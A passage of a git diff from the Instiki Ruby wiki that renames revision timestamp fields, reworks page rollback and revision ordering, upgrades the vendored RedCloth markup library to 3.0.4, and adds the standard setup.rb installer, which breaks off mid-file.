deletions(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index c274e209..3e43eaf6 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -140,7 +140,7 @@ class WikiController < ApplicationController def pdf page = wiki.read_page(@web_name, @page_name) safe_page_name = @page.name.gsub(/\W/, '') - file_name = "#{safe_page_name}-#{@web.address}-#{@page.created_at.strftime('%Y-%m-%d-%H-%M-%S')}" + file_name = "#{safe_page_name}-#{@web.address}-#{@page.revised_on.strftime('%Y-%m-%d-%H-%M-%S')}" file_path = File.join(@wiki.storage_path, file_name) export_page_to_tex("#{file_path}.tex") unless FileTest.exists?("#{file_path}.tex") @@ -274,7 +274,8 @@ class WikiController < ApplicationController end def get_page_and_revision - @revision = @page.revisions[@params['rev'].to_i] + @revision_number = @params['rev'].to_i + @revision = @page.revisions[@revision_number] end def parse_category @@ -312,8 +313,8 @@ class WikiController < ApplicationController @pages_by_revision = @web.select.by_revision.first(limit) else @pages_by_revision = @web.select.by_revision - @pages_by_revision.reject! { |page| page.created_at < start_date } if start_date - @pages_by_revision.reject! { |page| page.created_at > end_date } if end_date + @pages_by_revision.reject! { |page| page.revised_on < start_date } if start_date + @pages_by_revision.reject! { |page| page.revised_on > end_date } if end_date end @hide_description = hide_description diff --git a/app/models/page.rb b/app/models/page.rb index 6baa5802..97f11879 100644 --- a/app/models/page.rb +++ b/app/models/page.rb @@ -1,9 +1,9 @@ class Page < ActiveRecord::Base belongs_to :web - has_many :revisions, :order => 'number' - has_one :current_revision, :class_name => 'Revision', :order => 'number DESC' + has_many :revisions, :order => 'id' + has_one :current_revision, :class_name => 'Revision', :order => 'id DESC' - def revise(content, created_at, author) + def revise(content, time, author) revisions_size = new_record? ? 0 : revisions.size if (revisions_size > 0) and content == current_revision.content raise Instiki::ValidationError.new( @@ -13,37 +13,49 @@ class Page < ActiveRecord::Base author = Author.new(author.to_s) unless author.is_a?(Author) # Try to render content to make sure that markup engine can take it, - # before addin a revision to the page - Revision.new(:page => self, :content => content, :created_at => created_at, :author => author).force_rendering + Revision.new(:page => self, :content => content, :author => author, :revised_at => time).force_rendering # A user may change a page, look at it and make some more changes - several times. # Not to record every such iteration as a new revision, if the previous revision was done # by the same author, not more than 30 minutes ago, then update the last revision instead of # creating a new one - if (revisions_size > 0) && continous_revision?(created_at, author) - current_revision.update_attributes(:created_at => created_at, :content => content) + if (revisions_size > 1) && continous_revision?(time, author) + current_revision.update_attributes(:content => content, :revised_at => time) else - Revision.create(:page => self, :content => content, :created_at => created_at, :author => author) + Revision.create(:page => self, :content => content, :author => author, :revised_at => time) end - self.created_at = created_at save web.refresh_pages_with_references(name) if revisions_size == 0 self end - def rollback(revision_number, created_at, author_ip = nil) - roll_back_revision = Revision.find(:first, :conditions => ['page_id = ? AND number = ?', id, revision_number]) - revise(roll_back_revision.content, created_at, Author.new(roll_back_revision.author, author_ip)) + def rollback(revision_number, time, author_ip = nil) + roll_back_revision = self.revisions[revision_number] + if roll_back_revision.nil? + raise Instiki::ValidationError.new("Revision #{revision_number} not found") + end + revise(roll_back_revision.content, time, Author.new(roll_back_revision.author, author_ip)) end def revisions? revisions.size > 1 end - def revised_on - created_on + def previous_revision(revision) + revision_index = revisions.each_with_index do |rev, index| + if rev.id == revision.id + break index + else + nil + end + end + if revision_index.nil? or revision_index == 0 + nil + else + revisions[revision_index - 1] + end end def in_category?(cat) @@ -108,8 +120,8 @@ class Page < ActiveRecord::Base private - def continous_revision?(created_at, author) - current_revision.author == author && current_revision.created_at + 30.minutes > created_at + def continous_revision?(time, author) + (current_revision.author == author) && (revised_on + 30.minutes > time) end # Forward method calls to the current revision, so the page responds to all revision calls diff --git a/app/models/page_set.rb b/app/models/page_set.rb index c50abe80..47e1d4e9 100644 --- a/app/models/page_set.rb +++ b/app/models/page_set.rb @@ -17,10 +17,9 @@ class PageSet < Array end def most_recent_revision - self.map { |page| page.created_at }.max || Time.at(0) + self.map { |page| page.revised_on }.max || Time.at(0) end - def by_name PageSet.new(@web, sort_by { |page| page.name }) end @@ -28,7 +27,7 @@ class PageSet < Array alias :sort :by_name def by_revision - PageSet.new(@web, sort_by { |page| page.created_at }).reverse + PageSet.new(@web, sort_by { |page| page.revised_on }).reverse end def pages_that_reference(page_name) diff --git a/app/models/revision.rb b/app/models/revision.rb index 9d2c0ba1..9eecbcf1 100644 --- a/app/models/revision.rb +++ b/app/models/revision.rb @@ -3,24 +3,13 @@ class Revision < ActiveRecord::Base belongs_to :page composed_of :author, :mapping => [ %w(author name), %w(ip ip) ] - def created_on - created_at.to_date + def revised_on + revised_at end - def pretty_created_at - # Must use DateTime because Time doesn't support %e on at least some platforms - DateTime.new( - created_at.year, created_at.mon, created_at.day, created_at.hour, created_at.min - ).strftime "%B %e, %Y %H:%M" - end - - # todo: drop next_revision, previuous_revision and number from here - unused code - def next_revision - Revision.find_by_number_and_page_id(number+1, page_id) - end - - def previous_revision - @previous_revions ||= number > 0 ? Revision.find_by_number_and_page_id(number-1, page_id) : nil + # TODO this method belongs in the view helpers (only views use it) + def pretty_created_on + revised_on.to_date.strftime "%B %e, %Y %H:%M:%S" end # Returns an array of all the WikiIncludes present in the content of this revision. @@ -30,7 +19,7 @@ class Revision < ActiveRecord::Base @wiki_includes_cache = chunks.map { |c| ( c.escaped? ? nil : c.page_name ) }.compact.uniq end @wiki_includes_cache - end + end # Returns an array of all the WikiReferences present in the content of this revision. def wiki_references @@ -72,8 +61,14 @@ class Revision < ActiveRecord::Base @display_cache end + # TODO this probably doesn't belong in revision (because it has to call back the page) def display_diff - previous_revision ? HTMLDiff.diff(previous_revision.display_content, display_content) : display_content + previous_revision = page.previous_revision(self) + if previous_revision + HTMLDiff.diff(previous_revision.display_content, display_content) + else + display_content + end end def clear_display_cache @@ -112,18 +107,8 @@ class Revision < ActiveRecord::Base end protected - before_create :set_revision_number, :set_timestamp + after_create :force_rendering after_save :clear_display_cache - - # TODO Refactor this away. Revisions collection should not rely on the revision number for - # sorting etc - revisions must be easy to delete (this helps fighting wiki spam) - def set_revision_number - self.number = self.class.count(['page_id = ?', page_id]) + 1 - end - - def set_timestamp - self.timestamp = (Time.now.to_f * 1000).to_i.to_s - end end diff --git a/app/models/web.rb b/app/models/web.rb index 5ca077d5..a568e6a1 100644 --- a/app/models/web.rb +++ b/app/models/web.rb @@ -17,9 +17,9 @@ class Web < ActiveRecord::Base self.brackets_only != brackets_only end - def add_page(name, content, created_at, author) + def add_page(name, content, time, author) page = page(name) || Page.new(:web => self, :name => name) - page.revise(content, created_at, author) + page.revise(content, time, author) end def authors diff --git a/app/models/wiki.rb b/app/models/wiki.rb index 50093193..e1390e31 100644 --- a/app/models/wiki.rb +++ b/app/models/wiki.rb @@ -64,9 +64,9 @@ class Wiki page.revise(content, revised_on, author) end - def rollback_page(web_address, page_name, revision_number, created_at, author_id = nil) + def rollback_page(web_address, page_name, revision_number, time, author_id = nil) page = read_page(web_address, page_name) - page.rollback(revision_number, created_at, author_id) + page.rollback(revision_number, time, author_id) end def setup(password, web_name, web_address) diff --git a/app/views/wiki/page.rhtml b/app/views/wiki/page.rhtml index 28763b78..a48cb7c3 100644 --- a/app/views/wiki/page.rhtml +++ b/app/views/wiki/page.rhtml @@ -12,7 +12,7 @@
      -Or "download RedCloth":http://rubyforge.org/frs/download.php/2852/RedCloth-3.0.2.tar.gz and simply run the install.rb like so: +Or "download RedCloth":http://rubyforge.org/frs/download.php/2896/RedCloth-3.0.3.tar.gz and simply run the install.rb like so:
         ruby install.rb config
      diff --git a/vendor/RedCloth-3.0.3/doc/REFERENCE b/vendor/RedCloth-3.0.4/doc/REFERENCE
      similarity index 98%
      rename from vendor/RedCloth-3.0.3/doc/REFERENCE
      rename to vendor/RedCloth-3.0.4/doc/REFERENCE
      index a3e5bec0..c7236e89 100644
      --- a/vendor/RedCloth-3.0.3/doc/REFERENCE
      +++ b/vendor/RedCloth-3.0.4/doc/REFERENCE
      @@ -24,9 +24,9 @@
           if it's found in a @pre@ or @code@ block.
         - !!example "I am very serious.\n\n
      \n  I am very serious.\n
      " - h4. Line Breaks - - Line breaks are converted to HTML breaks. + - Line breaks are ignored. - !!example "I spoke.\nAnd none replied." - - Line breaks can be disabled in RedCloth by turning on @fold_lines@. + - Line breaks can be converted to HTML breaks by setting @hard_breaks@. - h4. Entities - Single- and double-quotes around words or phrases are converted to curly quotations, much easier on the eye. - !!example '"Observe!"' @@ -78,9 +78,9 @@ - Pluses around a passage indicate its insertion. - !!example "You are a +pleasant+ child." - To superscript a phrase, surround with carets. - - !!example "a ^2^ + b ^2^ = c ^2^" + - !!example "a^2^ + b^2^ = c^2^" - To subscript, surround with tildes. - - !!example "log ~2~ x" + - !!example "log~2~x" - h4. HTML-Specific - Lastly, if you find yourself needing to customize the style of a passage, use percent symbols to translate the passage as an HTML span. diff --git a/vendor/RedCloth-3.0.3/doc/make.rb b/vendor/RedCloth-3.0.4/doc/make.rb similarity index 100% rename from vendor/RedCloth-3.0.3/doc/make.rb rename to vendor/RedCloth-3.0.4/doc/make.rb diff --git a/vendor/RedCloth-3.0.3/lib/redcloth.rb b/vendor/RedCloth-3.0.4/lib/redcloth.rb similarity index 94% rename from vendor/RedCloth-3.0.3/lib/redcloth.rb rename to vendor/RedCloth-3.0.4/lib/redcloth.rb index 03df12b3..1228af6e 100644 --- a/vendor/RedCloth-3.0.3/lib/redcloth.rb +++ b/vendor/RedCloth-3.0.4/lib/redcloth.rb @@ -166,7 +166,7 @@ class RedCloth < String - VERSION = '3.0.3' + VERSION = '3.0.4' DEFAULT_RULES = [:textile, :markdown] # @@ -193,6 +193,18 @@ class RedCloth < String # attr_accessor :hard_breaks + # Accessor for toggling lite mode. + # + # In lite mode, block-level rules are ignored. This means + # that tables, paragraphs, lists, and such aren't available. + # Only the inline markup for bold, italics, entities and so on. + # + # r = RedCloth.new( "And then? She *fell*!", [:lite_mode] ) + # r.to_html + # #=> "And then? She fell!" + # + attr_accessor :lite_mode + # # Accessor for toggling span caps. # @@ -219,7 +231,7 @@ class RedCloth < String # inline_textile_image:: Textile inline images # inline_textile_link:: Textile inline links # inline_textile_span:: Textile inline spans - # inline_textile_glyphs:: Textile entities (such as em-dashes and smart quotes) + # glyphs_textile:: Textile entities (such as em-dashes and smart quotes) # # == Markdown # @@ -260,7 +272,7 @@ class RedCloth < String @shelf = [] textile_rules = [:refs_textile, :block_textile_table, :block_textile_lists, :block_textile_prefix, :inline_textile_image, :inline_textile_link, - :inline_textile_code, :inline_textile_glyphs, :inline_textile_span] + :inline_textile_code, :inline_textile_span, :glyphs_textile] markdown_rules = [:refs_markdown, :block_markdown_setext, :block_markdown_atx, :block_markdown_rule, :block_markdown_bq, :block_markdown_lists, :inline_markdown_reflink, :inline_markdown_link] @@ -278,14 +290,16 @@ class RedCloth < String # standard clean up incoming_entities text clean_white_space text - no_textile text # start processor @pre_list = [] rip_offtags text - hard_break text - refs text - blocks text + no_textile text + hard_break text + unless @lite_mode + refs text + blocks text + end inline text smooth_offtags text @@ -333,6 +347,8 @@ class RedCloth < String C = "(?:#{C_CLAS}?#{C_STYL}?#{C_LNGE}?|#{C_STYL}?#{C_LNGE}?#{C_CLAS}?|#{C_LNGE}?#{C_STYL}?#{C_CLAS}?)" # PUNCT = Regexp::quote( '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~' ) PUNCT = Regexp::quote( '!"#$%&\'*+,-./:;=?@\\^_`|~' ) + PUNCT_NOQ = Regexp::quote( '!"#$&\',./:;=?@\\`|' ) + PUNCT_Q = Regexp::quote( '*-_+^~%' ) HYPERLINK = '(\S+?)([^\w\s/;=\?]*?)(?=\s|<|$)' # Text markup tags, don't conflict with block tags @@ -342,41 +358,6 @@ class RedCloth < String 'br', 'map', 'q', 'sub', 'sup', 'span', 'bdo' ] - # Elements to handle - GLYPHS = [ - # [ /([^\s\[{(>])?\'([dmst]\b|ll\b|ve\b|\s|:|$)/, '\1’\2' ], # single closing - [ /([^\s\[{(>])\'/, '\1’' ], # single closing - [ /\'(?=\s|s\b|[#{PUNCT}])/, '’' ], # single closing - [ /\'/, '‘' ], # single opening - # [ /([^\s\[{(])?"(\s|:|$)/, '\1”\2' ], # double closing - [ /([^\s\[{(>])"/, '\1”' ], # double closing - [ /"(?=\s|[#{PUNCT}])/, '”' ], # double closing - [ /"/, '“' ], # double opening - [ /\b( )?\.{3}/, '\1…' ], # ellipsis - [ /\b([A-Z][A-Z0-9]{2,})\b(?:[(]([^)]*)[)])/, '\1' ], # 3+ uppercase acronym - [ /(^|[^"][>\s])([A-Z][A-Z0-9 ]{2,})([^\2\3', :no_span_caps ], # 3+ uppercase caps - [ /(\.\s)?\s?--\s?/, '\1—' ], # em dash - [ /\s->\s/, ' → ' ], # right arrow - [ /\s-\s/, ' – ' ], # en dash - [ /(\d+) ?x ?(\d+)/, '\1×\2' ], # dimension sign - [ /\b ?[(\[]TM[\])]/i, '™' ], # trademark - [ /\b ?[(\[]R[\])]/i, '®' ], # registered - [ /\b ?[(\[]C[\])]/i, '©' ] # copyright - ] - - H_ALGN_VALS = { - '<' => 'left', - '=' => 'center', - '>' => 'right', - '<>' => 'justify' - } - - V_ALGN_VALS = { - '^' => 'top', - '-' => 'middle', - '~' => 'bottom' - } - QTAGS = [ ['**', 'b'], ['*', 'strong'], @@ -398,19 +379,56 @@ class RedCloth < String (#{rcq}) (#{C}) (?::(\S+?))? - (.+?) + (\S.*?\S|\S) #{rcq} (?=\W)/x else /(#{rcq}) (#{C}) - (?::(\S+?))? - (.+?) + (?::(\S+))? + (\S.*?\S|\S) #{rcq}/xm end [rc, ht, re, rtype] end + # Elements to handle + GLYPHS = [ + # [ /([^\s\[{(>])?\'([dmst]\b|ll\b|ve\b|\s|:|$)/, '\1’\2' ], # single closing + [ /([^\s\[{(>#{PUNCT_Q}][#{PUNCT_Q}]*)\'/, '\1’' ], # single closing + [ /\'(?=[#{PUNCT_Q}]*(s\b|[\s#{PUNCT_NOQ}]))/, '’' ], # single closing + [ /\'/, '‘' ], # single opening + [ //, '>' ], # greater-than + # [ /([^\s\[{(])?"(\s|:|$)/, '\1”\2' ], # double closing + [ /([^\s\[{(>#{PUNCT_Q}][#{PUNCT_Q}]*)"/, '\1”' ], # double closing + [ /"(?=[#{PUNCT_Q}]*[\s#{PUNCT_NOQ}])/, '”' ], # double closing + [ /"/, '“' ], # double opening + [ /\b( )?\.{3}/, '\1…' ], # ellipsis + [ /\b([A-Z][A-Z0-9]{2,})\b(?:[(]([^)]*)[)])/, '\1' ], # 3+ uppercase acronym + [ /(^|[^"][>\s])([A-Z][A-Z0-9 ]+[A-Z0-9])([^\2\3', :no_span_caps ], # 3+ uppercase caps + [ /(\.\s)?\s?--\s?/, '\1—' ], # em dash + [ /\s->\s/, ' → ' ], # right arrow + [ /\s-\s/, ' – ' ], # en dash + [ /(\d+) ?x ?(\d+)/, '\1×\2' ], # dimension sign + [ /\b ?[(\[]TM[\])]/i, '™' ], # trademark + [ /\b ?[(\[]R[\])]/i, '®' ], # registered + [ /\b ?[(\[]C[\])]/i, '©' ] # copyright + ] + + H_ALGN_VALS = { + '<' => 'left', + '=' => 'center', + '>' => 'right', + '<>' => 'justify' + } + + V_ALGN_VALS = { + '^' => 'top', + '-' => 'middle', + '~' => 'bottom' + } + # # Flexible HTML escaping # @@ -530,7 +548,7 @@ class RedCloth < String depth.pop end end - if depth.last.length == tl.length + if depth.last and depth.last.length == tl.length lines[line_id - 1] << '' end end @@ -577,7 +595,7 @@ class RedCloth < String end def hard_break( text ) - text.gsub!( /(.)\n(?! *[#*\s|]|$)/, "\\1
      " ) if hard_breaks + text.gsub!( /(.)\n(?!\Z| *([#*=]+(\s|$)|[{|]))/, "\\1
      " ) if hard_breaks end BLOCKS_GROUP_RE = /\n{2,}(?! )/m @@ -705,9 +723,9 @@ class RedCloth < String end end - MARKDOWN_RULE_RE = /^#{ + MARKDOWN_RULE_RE = /^(#{ ['*', '-', '_'].collect { |ch| '( ?' + Regexp::quote( ch ) + ' ?){3,}' }.join( '|' ) - }$/ + })$/ def block_markdown_rule( text ) text.gsub!( MARKDOWN_RULE_RE ) do |blk| @@ -719,9 +737,6 @@ class RedCloth < String def block_markdown_lists( text ) end - def inline_markdown_link( text ) - end - def inline_textile_span( text ) QTAGS.each do |qtag_rc, ht, qtag_re, rtype| text.gsub!( qtag_re ) do |m| @@ -903,12 +918,12 @@ class RedCloth < String def shelve( val ) @shelf << val - " <#{ @shelf.length }>" + " :redsh##{ @shelf.length }:" end def retrieve( text ) @shelf.each_with_index do |r, i| - text.gsub!( " <#{ i + 1 }>", r ) + text.gsub!( " :redsh##{ i + 1 }:", r ) end end @@ -965,7 +980,7 @@ class RedCloth < String HASTAG_MATCH = /(<\/?\w[^\n]*?>)/m ALLTAG_MATCH = /(<\/?\w[^\n]*?>)|.*?(?=<\/?\w[^\n]*?>|$)/m - def inline_textile_glyphs( text, level = 0 ) + def glyphs_textile( text, level = 0 ) if text !~ HASTAG_MATCH pgl text footnote_ref text @@ -981,11 +996,11 @@ class RedCloth < String codepre = 0 if codepre < 0 end elsif codepre.zero? - inline_textile_glyphs( line, level + 1 ) + glyphs_textile( line, level + 1 ) else htmlesc( line, :NoQuotes ) end - ## p [level, codepre, orig_line, line] + # p [level, codepre, line] line end @@ -1033,8 +1048,10 @@ class RedCloth < String end def inline( text ) - @rules.each do |rule_name| - method( rule_name ).call( text ) if rule_name.to_s.match /^inline_/ + [/^inline_/, /^glyphs_/].each do |meth_re| + @rules.each do |rule_name| + method( rule_name ).call( text ) if rule_name.to_s.match( meth_re ) + end end end @@ -1097,7 +1114,7 @@ class RedCloth < String q2 = ( q != '' ? q : '\s' ) if raw[3] =~ /#{prop}\s*=\s*#{q}([^#{q2}]+)#{q}/i attrv = $1 - next if prop == 'src' and attrv !~ /^http/ + next if prop == 'src' and attrv =~ %r{^(?!http)\w+:} pcs << "#{prop}=\"#{$1.gsub('"', '\\"')}\"" break end diff --git a/vendor/RedCloth-3.0.3/run-tests.rb b/vendor/RedCloth-3.0.4/run-tests.rb similarity index 83% rename from vendor/RedCloth-3.0.3/run-tests.rb rename to vendor/RedCloth-3.0.4/run-tests.rb index 65b5c969..1f267b64 100644 --- a/vendor/RedCloth-3.0.3/run-tests.rb +++ b/vendor/RedCloth-3.0.4/run-tests.rb @@ -5,7 +5,9 @@ require 'yaml' Dir["tests/*.yml"].each do |testfile| YAML::load_documents( File.open( testfile ) ) do |doc| if doc['in'] and doc['out'] - red = RedCloth.new( doc['in'] ) + opts = [] + opts << :hard_breaks if testfile =~ /hard_breaks/ + red = RedCloth.new( doc['in'], opts ) html = if testfile =~ /markdown/ red.to_html( :markdown ) else diff --git a/vendor/RedCloth-3.0.4/setup.rb b/vendor/RedCloth-3.0.4/setup.rb new file mode 100644 index 00000000..462522b5 --- /dev/null +++ b/vendor/RedCloth-3.0.4/setup.rb @@ -0,0 +1,1376 @@ +# +# setup.rb +# +# Copyright (c) 2000-2004 Minero Aoki +# +# This program is free software. +# You can distribute/modify this program under the terms of +# the GNU LGPL, Lesser General Public License version 2.1. +# + +unless Enumerable.method_defined?(:map) # Ruby 1.4.6 + module Enumerable + alias map collect + end +end + +unless File.respond_to?(:read) # Ruby 1.6 + def File.read(fname) + open(fname) {|f| + return f.read + } + end +end + +def File.binread(fname) + open(fname, 'rb') {|f| + return f.read + } +end + +# for corrupted windows stat(2) +def File.dir?(path) + File.directory?((path[-1,1] == '/') ? path : path + '/') +end + + +class SetupError < StandardError; end + +def setup_rb_error(msg) + raise SetupError, msg +end + +# +# Config +# + +if arg = ARGV.detect {|arg| /\A--rbconfig=/ =~ arg } + ARGV.delete(arg) + require arg.split(/=/, 2)[1] + $".push 'rbconfig.rb' +else + require 'rbconfig' +end + +def multipackage_install? + FileTest.directory?(File.dirname($0) + '/packages') +end + + +class ConfigItem + def initialize(name, template, default, desc) + @name = name.freeze + @template = template + @value = default + @default = default.dup.freeze + @description = desc + end + + attr_reader :name + attr_reader :description + + attr_accessor :default + alias help_default default + + def help_opt + "--#{@name}=#{@template}" + end + + def value + @value + end + + def eval(table) + @value.gsub(%r<\$([^/]+)>) { table[$1] } + end + + def set(val) + @value = check(val) + end + + private + + def check(val) + setup_rb_error "config: --#{name} requires argument" unless val + val + end +end + +class BoolItem < ConfigItem + def config_type + 'bool' + end + + def help_opt + "--#{@name}" + end + + private + + def check(val) + return 'yes' unless val + unless /\A(y(es)?|n(o)?|t(rue)?|f(alse))\z/i =~ val + setup_rb_error "config: --#{@name} accepts only yes/no for argument" + end + (/\Ay(es)?|\At(rue)/i =~ value) ? 'yes' : 'no' + end +end + +class PathItem < ConfigItem + def config_type + 'path' + end + + private + + def check(path) + setup_rb_error "config: --#{@name} requires argument" unless path + path[0,1] == '$' ? path : File.expand_path(path) + end +end + +class ProgramItem < ConfigItem + def config_type + 'program' + end +end + +class SelectItem < ConfigItem + def initialize(name, template, default, desc) + super + @ok = template.split('/') + end + + def config_type + 'select' + end + + private + + def check(val) + unless @ok.include?(val.strip) + setup_rb_error "config: use --#{@name}=#{@template} (#{val})" + end + val.strip + end +end + +class PackageSelectionItem < ConfigItem + def initialize(name, template, default, help_default, desc) + super name, template, default, desc + @help_default = help_default + end + + attr_reader :help_default + + def config_type + 'package' + end + + private + + def check(val) + unless File.dir?("packages/#{val}") + setup_rb_error "config: no such package: #{val}" + end + val + end +end + +class ConfigTable_class + + def initialize(items) + @items = items + @table = {} + items.each do |i| + @table[i.name] = i + end + ALIASES.each do |ali, name| + @table[ali] = @table[name] + end + end + + include Enumerable + + def each(&block) + @items.each(&block) + end + + def key?(name) + @table.key?(name) + end + + def lookup(name) + @table[name] or raise ArgumentError, "no such config item: #{name}" + end + + def add(item) + @items.push item + @table[item.name] = item + end + + def remove(name) + item = lookup(name) + @items.delete_if {|i| i.name == name } + @table.delete_if {|name, i| i.name == name } + item + end + + def new + dup() + end + + def savefile + '.config' + end + + def load + begin + t = dup() + File.foreach(savefile()) do |line| + k, v = *line.split(/=/, 2) + t[k] = v.strip + end + t + rescue Errno::ENOENT + setup_rb_error $!.message + "#{File.basename($0)} config first" + end + end + + def save + @items.each {|i| i.value } + File.open(savefile(), 'w') {|f| + @items.each do |i| + f.printf "%s=%s\n", i.name, i.value if i.value + end + } + end + + def [](key) + lookup(key).eval(self) + end + + def []=(key, val) + lookup(key).set val + end + +end + +c = ::Config::CONFIG + +rubypath = c['bindir'] + '/' + c['ruby_install_name'] + +major = c['MAJOR'].to_i +minor = c['MINOR'].to_i +teeny = c['TEENY'].to_i +version = "#{major}.#{minor}" + +# ruby ver. >= 1.4.4? +newpath_p = ((major >= 2) or + ((major == 1) and + ((minor >= 5) or + ((minor == 4) and (teeny >= 4))))) + +if c['rubylibdir'] + # V < 1.6.3 + _stdruby = c['rubylibdir'] + _siteruby = c['sitedir'] + _siterubyver = c['sitelibdir'] + _siterubyverarch = c['sitearchdir'] +elsif newpath_p + # 1.4.4 <= V <= 1.6.3 + _stdruby = "$prefix/lib/ruby/#{version}" + _siteruby = c['sitedir'] + _siterubyver = "$siteruby/#{version}" + _siterubyverarch = "$siterubyver/#{c['arch']}" +else + # V < 1.4.4 + _stdruby = "$prefix/lib/ruby/#{version}" + _siteruby = "$prefix/lib/ruby/#{version}/site_ruby" + _siterubyver = _siteruby + _siterubyverarch = "$siterubyver/#{c['arch']}" +end +libdir = '-* dummy libdir *-' +stdruby = '-* dummy rubylibdir *-' +siteruby = '-* dummy site_ruby *-' +siterubyver = '-* dummy site_ruby version *-' +parameterize = lambda {|path| + path.sub(/\A#{Regexp.quote(c['prefix'])}/, '$prefix')\ + .sub(/\A#{Regexp.quote(libdir)}/, '$libdir')\ + .sub(/\A#{Regexp.quote(stdruby)}/, '$stdruby')\ + .sub(/\A#{Regexp.quote(siteruby)}/, '$siteruby')\ + .sub(/\A#{Regexp.quote(siterubyver)}/, '$siterubyver') +} +libdir = parameterize.call(c['libdir']) +stdruby = parameterize.call(_stdruby) +siteruby = parameterize.call(_siteruby) +siterubyver = parameterize.call(_siterubyver) +siterubyverarch = parameterize.call(_siterubyverarch) + +if arg = c['configure_args'].split.detect {|arg| /--with-make-prog=/ =~ arg } + makeprog = arg.sub(/'/, '').split(/=/, 2)[1] +else + makeprog = 'make' +end + +common_conf = [ + PathItem.new('prefix', 'path', c['prefix'], + 'path prefix of target environment'), + PathItem.new('bindir', 'path', parameterize.call(c['bindir']), + 'the directory for commands'), + PathItem.new('libdir', 'path', libdir, + 'the directory for libraries'), + PathItem.new('datadir', 'path', parameterize.call(c['datadir']), + 'the directory for shared data'), + PathItem.new('mandir', 'path', parameterize.call(c['mandir']), + 'the directory for man pages'), + PathItem.new('sysconfdir', 'path', parameterize.call(c['sysconfdir']), + 'the directory for man pages'), + PathItem.new('stdruby', 'path', stdruby, + 'the directory for standard ruby libraries'), + PathItem.new('siteruby', 'path', siteruby, + 'the directory for version-independent aux ruby libraries'), + PathItem.new('siterubyver', 'path', siterubyver, + 'the directory for aux ruby libraries'), + PathItem.new('siterubyverarch', 'path', siterubyverarch, + 'the directory for aux ruby binaries'), + PathItem.new('rbdir', 'path', '$siterubyver', + 'the directory for ruby scripts'), + PathItem.new('sodir', 'path', '$siterubyverarch', + 'the directory for ruby extentions'), + PathItem.new('rubypath', 'path', rubypath, + 'the path to set to #! line'), + ProgramItem.new('rubyprog', 'name', rubypath, + 'the ruby program using for installation'), + ProgramItem.new('makeprog', 'name', makeprog, + 'the make program to compile ruby extentions'), + SelectItem.new('shebang', 'all/ruby/never', 'ruby', + 'shebang line (#!) editing mode'), + BoolItem.new('without-ext', 'yes/no', 'no', + 'does not compile/install ruby extentions') +] +class ConfigTable_class # open again + ALIASES = { + 'std-ruby' => 'stdruby', + 'site-ruby-common' => 'siteruby', # For backward compatibility + 'site-ruby' => 'siterubyver', # For backward compatibility + 'bin-dir' => 'bindir', + 'bin-dir' => 'bindir', + 'rb-dir' => 'rbdir', + 'so-dir' => 'sodir', + 'data-dir' => 'datadir', + 'ruby-path' => 'rubypath', + 'ruby-prog' => 'rubyprog', + 'ruby' => 'rubyprog', + 'make-prog' => 'makeprog', + 'make' => 'makeprog' + } +end +multipackage_conf = [ + PackageSelectionItem.new('with', 'name,name...', '', 'ALL', + 'package names that you want to install'), + PackageSelectionItem.new('without', 'name,name...', '', 'NONE', + 'package names that you do not want to install') +] +if multipackage_install? + ConfigTable = ConfigTable_class.new(common_conf + multipackage_conf) +else + ConfigTable = ConfigTable_class.new(common_conf) +end + + +module MetaConfigAPI + + def eval_file_ifexist(fname) + instance_eval File.read(fname), fname, 1 if File.file?(fname) + end + + def config_names + ConfigTable.map {|i| i.name } + end + + def config?(name) + ConfigTable.key?(name) + end + + def bool_config?(name) + ConfigTable.lookup(name).config_type == 'bool' + end + + def path_config?(name) + ConfigTable.lookup(name).config_type == 'path' + end + + def value_config?(name) + case ConfigTable.lookup(name).config_type + when 'bool', 'path' + true + else + false + end + end + + def add_config(item) + ConfigTable.add item + end + + def add_bool_config(name, default, desc) + ConfigTable.add BoolItem.new(name, 'yes/no', default ? 'yes' : 'no', desc) + end + + def add_path_config(name, default, desc) + ConfigTable.add PathItem.new(name, 'path', default, desc) + end + + def set_config_default(name, default) + ConfigTable.lookup(name).default = default + end + + def remove_config(name) + ConfigTable.remove(name) + end + +end + + +# +# File Operations +# + +module FileOperations + + def mkdir_p(dirname, prefix = nil) + dirname = prefix + File.expand_path(dirname) if prefix + $stderr.puts "mkdir -p #{dirname}" if verbose? + return if no_harm? + + # does not check '/'... it's too abnormal case + dirs = File.expand_path(dirname).split(%r<(?=/)>) + if /\A[a-z]:\z/i =~ dirs[0] + disk = dirs.shift + dirs[0] = disk + dirs[0] + end + dirs.each_index do |idx| + path = dirs[0..idx].join('') + Dir.mkdir path unless File.dir?(path) + end + end + + def rm_f(fname) + $stderr.puts "rm -f #{fname}" if verbose? + return if no_harm? + + if File.exist?(fname) or File.symlink?(fname) + File.chmod 0777, fname + File.unlink fname + end + end + + def rm_rf(dn) + $stderr.puts "rm -rf #{dn}" if verbose? + return if no_harm? + + Dir.chdir dn + Dir.foreach('.') do |fn| + next if fn == '.' + next if fn == '..' + if File.dir?(fn) + verbose_off { + rm_rf fn + } + else + verbose_off { + rm_f fn + } + end + end + Dir.chdir '..' + Dir.rmdir dn + end + + def move_file(src, dest) + File.unlink dest if File.exist?(dest) + begin + File.rename src, dest + rescue + File.open(dest, 'wb') {|f| f.write File.binread(src) } + File.chmod File.stat(src).mode, dest + File.unlink src + end + end + + def install(from, dest, mode, prefix = nil) + $stderr.puts "install #{from} #{dest}" if verbose? + return if no_harm? + + realdest = prefix ? prefix + File.expand_path(dest) : dest + realdest = File.join(realdest, File.basename(from)) if File.dir?(realdest) + str = File.binread(from) + if diff?(str, realdest) + verbose_off { + rm_f realdest if File.exist?(realdest) + } + File.open(realdest, 'wb') {|f| + f.write str + } + File.chmod mode, realdest + + File.open("#{objdir_root()}/InstalledFiles", 'a') {|f| + if prefix + f.puts realdest.sub(prefix, '') + else + f.puts realdest + end + } + end + end + + def diff?(new_content, path) + return true unless File.exist?(path) + new_content != File.binread(path) + end + + def command(str) + $stderr.puts str if verbose? + system str or raise RuntimeError, "'system #{str}' failed" + end + + def ruby(str) + command config('rubyprog') + ' ' + str + end + + def make(task = '') + command config('makeprog') + ' ' + task + end + + def extdir?(dir) + File.exist?(dir + '/MANIFEST') + end + + def all_files_in(dirname) + Dir.open(dirname) {|d| + return d.select {|ent| File.file?("#{dirname}/#{ent}") } + } + end + + REJECT_DIRS = %w( + CVS SCCS RCS CVS.adm .svn + ) + + def all_dirs_in(dirname) + 